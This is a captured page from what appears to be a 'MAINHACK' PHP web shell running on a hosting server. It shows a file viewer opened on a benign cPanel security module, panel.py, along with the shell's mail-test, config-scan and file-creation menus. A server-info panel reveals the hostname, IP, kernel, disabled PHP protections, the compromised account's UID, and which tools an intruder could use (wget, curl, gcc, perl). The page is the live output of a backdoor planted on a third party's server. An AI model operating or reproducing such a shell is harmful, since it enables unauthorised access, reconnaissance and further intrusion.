[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: panel.py
File is not writable. Editing disabled.
import logging from typing import List, Set, Sequence from defence360agent.subsys.panels.cpanel import cPanel as Base from defence360agent.utils.kwconfig import KWConfig from im360.subsys import webshield from im360.subsys.panels.base import PanelInterface from defence360agent.subsys.panels.cpanel.panel import \ CPANEL_USERDATADOMAINS_PATH, WWWACT_CONF from .mod_security import cPanelModSecurity from .pure_ftp import cPanelPureFTPConfig from .remoteip import RemoteIP from im360.utils import change_system_password, generate_strong_password logger = logging.getLogger(__name__) CPANEL_CONFIG = '/var/cpanel/cpanel.config' class cPanelConfig(KWConfig): SEARCH_PATTERN = r'^\s*{}\s*=\s*(.*?)\s*$' WRITE_PATTERN = '{}={}' DEFAULT_FILENAME = CPANEL_CONFIG class cPanel(Base, PanelInterface, cPanelModSecurity, RemoteIP): pure_ftp_conf_cls = cPanelPureFTPConfig async def _get_all_admin_emails(self) -> List[str]: emails = [] # type: List[str] with open(WWWACT_CONF) as f: contact_line = next( ( line for line in f if line.strip().startswith("CONTACTEMAIL") ), None, ) if contact_line is not None: contacts = contact_line.strip().split() if len(contacts) > 1: return [email.strip() for email in contacts[1].split(',') if email] return emails def http_ports(self) -> Set[int]: return { 2082, # cPanel 2095, # cPpanel Webmail 2086 # WHM } def https_ports(self) -> Set[int]: return { 2083, # cPanel SSL 2096, # cPpanel Webmail SSL 2087 # WHM SSL } def remoteip_supported(self) -> bool: return True def get_SMTP_conflict_status(self) -> bool: """ Return True if SMTP restriction feature is enabled """ return cPanelConfig('smtpmailgidonly').get() == '1' def get_webshield_protected_ports(self): return { port: webshield.port_redirect_map()[port] for port in (2082, 2083) } @staticmethod def force_reset_user_password(username, password=None): change_system_password( username, generate_strong_password() if not password else password )
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 690.2 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A